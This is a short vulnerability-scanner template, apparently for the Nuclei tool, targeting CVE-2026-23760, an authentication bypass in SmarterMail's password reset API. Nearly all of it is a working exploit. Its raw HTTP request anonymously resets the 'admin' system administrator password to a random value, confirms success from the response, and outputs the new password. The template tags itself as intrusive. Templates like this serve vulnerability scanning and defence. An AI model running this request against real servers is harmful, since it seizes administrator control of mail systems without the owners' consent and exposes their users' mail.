id: CVE-2026-23760

info:
  name: "Smartmail - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    SmarterTools SmarterMail versions prior to build 9511 contain an authentication bypass vulnerability in the
    password reset API. The force-reset-password endpoint permits anonymous requests and fails to verify the
    existing password or a reset token when resetting system administrator accounts.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-23760&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=smartmail&match=exact
  classification:
    cve-id: CVE-2026-23760
  metadata:
    verified: false
  tags: cve,cve2026,intrusive,smartmail,admin,auth-bypass,vkev,kev,vuln
variables:
  password: "{{rand_text_alphanumeric(12)}}"

http:
  - raw:
      - |
        POST /api/v1/auth/force-reset-password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"IsSysAdmin":"true",
        "OldPassword":"watever",
        "Username":"admin",
        "NewPassword":"{{password}}",
        "ConfirmPassword": "{{password}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - 'debugInfo'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - '"New Password: " + password'